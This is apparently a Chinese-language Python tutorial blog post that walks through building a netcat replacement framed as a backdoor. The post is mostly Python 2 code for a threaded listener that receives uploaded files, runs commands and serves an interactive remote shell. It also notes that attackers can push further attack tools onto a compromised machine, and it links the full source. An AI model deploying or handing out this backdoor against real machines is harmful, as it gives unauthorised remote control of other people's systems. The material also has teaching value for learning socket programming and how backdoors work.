【Python大師之路】用Python後門取代Netcat

by - 凌晨3:38

        

        Netcat是一個可以幫助你在網路上接收和發送資料的工具,被稱做網路瑞士刀,體積小巧而功能強大,是在做許多網路的測試會用到的實用工具,而今天我們就用Python來製作一個簡單的小程式來實現NC的後門功能。
        我們先把一些參數做一個預設值的設定:
_________________________________________________
listen                      = False
command               = False
upload                    = False
execute                   = ""
target                      = ""
upload_destination = ""

port                         = 0
_________________________________________________





再來看看main函式要怎麼架構:

_________________________________________________
#我們要先檢查使用者是否透過命令列來傳遞參數
        if not len(sys.argv[1:]):

                usage()#跳出使用說明


#嘗試把參數讀入變數中

        try:
                opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
        except getopt.GetoptError as err:
                print str(err)

                usage()
_________________________________________________





在上面的程式,我們檢查使用這的參數是否符合格式,以確保不會出錯,如果拋出例外代表參數不符規定。

將參數設定到變數中:
_________________________________________________
        for o,a in opts:
                if o in ("-h","--help"):
                        usage()
                elif o in ("-l","--listen"):
                        listen = True
                elif o in ("-e", "--execute"):
                        execute = a
                elif o in ("-c", "--commandshell"):
                        command = True
                elif o in ("-u", "--upload"):
                        upload_destination = a
                elif o in ("-t", "--target"):
                        target = a
                elif o in ("-p", "--port"):
                        port = int(a)
                else:

                        assert False,"Unhandled Option"
_________________________________________________





設定完後,看是要使用哪種模式(後門or發送指令):

_________________________________________________
        if not listen and len(target) and port > 0:
                buffer = sys.stdin.read()
                client_sender(buffer)   
        if listen:

                server_loop()
_________________________________________________





當中server_loop會不斷等待使用者送指令進來並執行,然後返回結果,簡單的後門實作。

而另外一個模式就是發送指令。





接下來讓我們看看一些函式的實現方式,首先是client_sender函式的內容:

_________________________________________________





        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:
                client.connect((target,port))
                if len(buffer):
                        client.send(buffer)
                while True:
                        recv_len = 1
                        response = ""
                        while recv_len:
                                data     = client.recv(4096)
                                recv_len = len(data)
                                response+= data
                                if recv_len < 4096:
                                        break
                        print response,
                        buffer = raw_input("")
                        buffer += "\n"

                        client.send(buffer)
        except:
                print "[*] Exception! Exiting."

                client.close()
_________________________________________________





當中,我們看到兩個用螢光標記的無窮迴圈,外層是讓使用者不斷輸入指令向我們平常使用cmd一樣;內層是用來接收指令個執行結果,因為不確定返回結果的長度,因此就把資料切塊,一次接收4096位元直到收完為止。最後,如果連接出錯產生例外,就會結束連線。

而下面這塊是 server_loop的實現方式,該函式主要是一個無窮迴圈,不斷產生新的執行緒來處理客戶端的連線。

_________________________________________________
        global target
        global port
        if not len(target):
                target = "0.0.0.0"
#====================================
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((target,port))
        server.listen(5)
#====================================
        while True:
                client_socket, addr = server.accept()
                client_thread = threading.Thread(target=client_handler,args=(client_socket,))

                client_thread.start()
_________________________________________________
程式碼分三部分,上半部是用來做變數載入和檢查,如果使用者沒有設定target程式就自動以0.0.0.0作為預設。中間則是socket的初始化和監聽的設定
值得注意的地方是無窮迴圈,該迴圈不斷產生新的執行緒來處理客戶端的請求,執行續的概念就是讓程式同時做多件事,就像去看車子,正常情況下,每位顧客都被安排到一位業務,因此新客戶就不用等上一位業務處理完再來接新客戶。藍色標記的是一個函式,該函適用於執行命令,該函式也有一個無窮迴圈,對應到client_sender的外層迴圈,一個負責不斷執行指令並返回;另一個則不斷發送命令:
_________________________________________________
        global upload
        global execute
        global command
#====================================
        if len(upload_destination):
                file_buffer = ""
                while True:
                        data = client_socket.recv(1024)
                        if not data:
                                break
                        else:
                                file_buffer += data
                try:
                        file_descriptor = open(upload_destination,"wb")
                        file_descriptor.write(file_buffer)
                        file_descriptor.close()
                        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
                except:
                        client_socket.send("Failed to save file to %s\r\n" % upload_destination)
#====================================
        if len(execute):
                output = run_command(execute)
                client_socket.send(output)
#====================================
        if command:
                while True:
                        client_socket.send("server>")
                        cmd_buffer = ""
                        while "\n" not in cmd_buffer:
                                cmd_buffer += client_socket.recv(1024)
                        response = run_command(cmd_buffer)

                        client_socket.send(response)
_________________________________________________





函式分成四部分,第一部分是用來做變數的載入,與其他函式一樣。第二部粉事處理使用者上傳的檔案,當取得後門後,攻擊者可能想要把其他攻擊程式也載入到被攻陷的電腦中,該部分便能處理上傳的任務。而第三部分是執行單一指令,run_command函式是用來處理指令的執行結果的,各位可以自己修改該函是讓程式能執行你自訂的指令。最後一部分是載入cmd shell,也就是進入無窮迴圈一直接收客戶端下的指令並返回結果。
大致上完成啦,這只是個簡單的小範例,是無訪繞過訪火牆的,可以當作是Socket的一種實作,完整程式碼下載:
Github下載

你可能會喜歡

3 意見